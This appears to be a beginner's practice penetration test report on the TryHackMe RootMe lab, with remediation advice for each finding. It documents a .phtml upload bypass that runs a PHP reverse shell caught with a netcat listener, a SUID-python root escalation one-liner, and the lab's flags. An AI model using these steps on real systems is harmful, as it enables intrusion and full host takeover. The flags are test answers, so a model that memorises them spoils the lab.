Penetration Test Report

TryHackMe - RootMe (practice)

Prepared by

Ambar Roy

Contact: ambarroy11@gmail.com

Report date: October 19, 2025

Engagement type: Practice / Training pentest (CTF-style)
Scope: RootMe lab on TryHackMe (single VM/challenge)
Tester: Freelance beginner security practitioner

Contents

Executive Summary

This document reports the results of an authorized, educational penetration test conducted against the TryHackMe *RootMe* machine. The objective was to practice reconnaissance, enumeration, exploitation and reporting. The tester (freelance beginner pentester) performed directory enumeration, exercised a file upload panel, achieved remote code execution as the web user, and escalated to root using a discovered SUID-interpreter. All actions were performed inside the TryHackMe lab environment.

Summary of key results:

- Discovery of an upload panel and publicly-served `/uploads/` directory via directory enumeration.
- Successful upload and execution of a PHP-based reverse shell by bypassing extension checks (uploaded as `.phtml`), resulting in a shell as `www-data` and retrieval of the user flag: `THM{y0u_g0t_a_sh3ll}`.
- Local privilege escalation to `root` via a SUID Python interpreter (`/usr/bin/python2.7`), using a known technique (GTFOBins), and retrieval of the root flag: `THM{pr1v1l3g3_3sc4l4t10n}`.

1 Scope and Rules of Engagement

Scope

- Target: RootMe VM (TryHackMe)
- IP / Hostname: 10.201.75.151 (used during the engagement)
- Engagement type: Educational/practice — authorized by TryHackMe for this environment.

Rules of Engagement

- Only the specified VM was tested.
- No actions were performed outside the TryHackMe lab environment.
- All findings and evidence are lab-based and for educational/reporting purposes only.

1.1 Methodology and Tools

High-level methodology:

1. Reconnaissance — directory enumeration with `gobuster`.
2. Enumeration — analysis of discovered endpoints (`/panel`, `/uploads`).
3. Exploitation — file upload bypass and reverse-shell execution, local enumeration for privilege escalation.
4. Post-exploitation — command execution on host, flag retrieval, and privilege escalation to root.

Tools used (examples):

- `gobuster`, `nmap` (if used), `nc` (netcat), `searchsploit` (if used), standard UNIX utilities (`find`, `which`, `ls`, `cat`).
- Uploaded payload: PentestMonkey PHP reverse shell (renamed to bypass extension checks).

2 Risk Rating and Definitions

- **High:** Immediate, significant impact (credential compromise, remote code execution, privilege escalation to root).
- **Medium:** Significant impact with constraints (publicly-exposed functionality that can be abused but requires additional steps).
- **Low:** Information disclosure or minimal impact (version leaks, non-executable resources).

3 Findings

Finding #1 — Insecure file upload endpoint (uploads served publicly)

Finding #1: Insecure file upload and publicly-served uploads **Risk: Medium**

Affected Asset: http://10.201.75.151/panel , http://10.201.75.151/uploads/

Summary:
Directory enumeration discovered an upload panel and a publicly-accessible `/uploads/` directory. Uploaded files are stored and served from `/uploads/`, demonstrating that server-side upload handling allows files to be placed and retrieved via HTTP.

Description:
A directory enumeration scan against the target revealed multiple paths including `/panel` (an upload interface) and `/uploads` (public storage). The upload panel accepts user-submitted files and the application serves those files directly from the uploads directory.

Commands / PoC:

Listing 1: Directory enumeration output (gobuster)

```
gobuster dir -u http://10.201.75.151 -w /usr/share/dirbuster/wordlists/
   ↪ directory-list-lowercase-2.3-medium.txt -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.201.75.151
...
/uploads              (Status: 301) [Size: 316] [--> http
   ↪ ://10.201.75.151/uploads/]
/css                  (Status: 301) [Size: 312] [--> http
   ↪ ://10.201.75.151/css/]
/js                   (Status: 301) [Size: 311] [--> http
   ↪ ://10.201.75.151/js/]
/panel                (Status: 301) [Size: 314] [--> http
   ↪ ://10.201.75.151/panel/]
/server-status        (Status: 403) [Size: 278]
===============================================================
Finished
===============================================================
```

Observed behaviour (PoC steps):

1. Visited `/panel/` and located an upload form.
2. Uploaded a benign image file via the panel.
3. Confirmed the uploaded image was accessible at `/uploads/<filename>` and rendered in the browser.

Impact:
Medium — a publicly-served upload endpoint can be abused to store malicious content. The severity depends on server configuration (execution permissions, MIME handling, filename sanitization). If executable content is allowed to run, this can lead to remote code execution.

Remediation:

1. Enforce strict server-side validation of uploaded files (MIME type and file signature checks).

2. Store uploads outside the webroot and serve via a controlled mechanism if public access is required.
3. Disable script execution in the uploads directory (e.g., remove PHP handlers, set `php_admin_value engine Off` or equivalent).
4. Sanitize or replace user-supplied filenames and use randomized server-side filenames.
5. Implement logging, rate-limiting and scanning of uploaded content.

Finding #2 — Unrestricted upload leading to remote code execution (via `.phtml`)

Finding #2: Unsafe upload handling allowed a web shell to be uploaded and executed **Risk: High**

Affected Asset: http://10.201.75.151/panel , http://10.201.75.151/uploads/

Summary:
The upload panel blocked files with a `.php` extension but allowed files with alternative extensions. Uploading a PHP reverse shell as `.phtml` resulted in the file being executed when accessed, yielding a reverse shell as the web user (`www-data`). The user flag was retrieved: `THM{y0u_g0t_a_sh3ll}`.

Description:
The tester attempted to upload a PentestMonkey PHP reverse shell. Direct upload as `.php` was blocked. Renaming to `.php2` and `.php3` allowed upload but these did not execute. Renaming to `.phtml` allowed upload and execution when accessed via the web, indicating the server treats `.phtml` files as PHP and executes them in the uploads directory.

Commands / PoC:

Listing 2: Upload and exploitation steps (redacted)

```
# Upload the reverse shell as: php-reverse-shell.phtml via the /panel
    ↪ upload form

# On attacker machine: start a listener
nc -lvnp 1234

# Visit the uploaded .phtml URL in browser to trigger reverse shell

# On attacker machine: received shell; on server:
whoami
# Output:
www-data

# Basic enumeration and capture of user flag:
cd ~
pwd
# Output: /var/www
ls
# Output: html  user.txt
cat user.txt
# Output: THM{y0u_g0t_a_sh3ll}
```

Impact:
High — remote code execution as the webserver user allows reading of webroot files, discovery

of credentials or configuration, and further actions to attempt privilege escalation.

Remediation:

1. Prevent execution of uploaded files by removing script handlers for the uploads directory and storing uploads outside the webroot.
2. Enforce server-side allow-lists (acceptable file types validated by magic bytes) and block executable content.
3. Rename uploaded files to non-executable names and apply restrictive permissions (no execute).
4. Require authentication for upload functionality where appropriate and monitor upload activity.
5. Use WAF rules and content-scanning to detect and block known webshell signatures.

Notes / Next steps:
An interactive shell as `www-data` was obtained. The tester proceeded to enumerate privilege escalation vectors on the host (see Finding #3).

Finding #3 — Privilege escalation via SUID Python binary

Finding #3: Local privilege escalation through SUID `/usr/bin/python2.7` Risk: High / Critical

Affected Asset: Host (compromised) — local escalation

Summary:
A SUID Python interpreter was present on the host. The tester used a GTFOBins-listed technique to spawn a privileged shell from the SUID interpreter, resulting in full root access and retrieval of the root flag: `THM{pr1v1l3g3_3sc4l4t10n}`.

Description:
From the web user shell (`www-data`), the tester searched for files with the SUID bit set and identified `/usr/bin/python2.7` (SUID-root). Using the known one-liner payload for interpreted SUID binaries, the tester executed:

```
./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```

This replaced the process with a privileged shell, and `whoami` returned `root`. The tester then navigated to `/root` and read `root.txt`.

Commands / PoC:

Listing 3: Privilege escalation and flag capture

```
# Find SUID-root files
find / -user root -perm /4000 2>/dev/null

# Confirm python location
which python
# Output: /usr/bin/python

# Exploit SUID python to spawn privileged shell
cd /usr/bin
./python -c 'import␣os;␣os.execl("/bin/sh",␣"sh",␣"-p")'

# Verify escalation
```

```
whoami
# Output: root

# Retrieve root flag
cd /root
ls
# Output: root.txt
cat root.txt
# Output: THM{pr1v1l3g3_3sc4l4t10n}
```

Impact:
Critical — local privilege escalation to `root` grants complete control of the host. An attacker with root can exfiltrate data, install persistent backdoors, and pivot to other systems.

Remediation:

1. Remove the SUID bit from interpreters (e.g., Python). Interpreted language runtimes should not be SUID.
2. Audit and remove unnecessary SUID/SGID binaries. Maintain a whitelist of approved SUID programs.
3. Harden host configuration: enforce least privilege, restrict write permissions to directories where executables or interpreters reside.
4. Implement host-based monitoring and alerting for unexpected use of SUID binaries and privileged interpreter invocation.
5. Use MAC solutions (AppArmor/SELinux) to limit interpreter capabilities.

Notes / Recommendations for remediation validation:
After removing SUID bits and hardening, revalidate whether uploaded payloads can obtain a remote shell and whether any remaining escalation paths exist. Combine host hardening with application-level mitigations (upload restrictions, disabled execution in uploads) to reduce initial access vectors.

Appendices

Appendix A: Commands and Tools

```
# Directory enumeration (example)
gobuster dir -u http://10.201.75.151 -w /usr/share/dirbuster/wordlists/
   ↪ directory-list-lowercase-2.3-medium.txt -t 100

# Start netcat listener
nc -lvnp 1234

# Find SUID files (as low-priv shell)
find / -user root -perm /4000 2>/dev/null

# Confirm python binary
which python

# Spawn privileged shell via SUID python (example)
cd /usr/bin
./python -c 'import␣os;␣os.execl("/bin/sh",␣"sh",␣"-p")'
```

Contact and Notes

Prepared by: Ambar Roy
Contact: ambarroy11@gmail.com

This report documents an educational pentest performed inside a TryHackMe lab environment. All findings are laboratory-based and were obtained using the commands and steps recorded in this document. Follow the remediation steps above to mitigate the identified issues.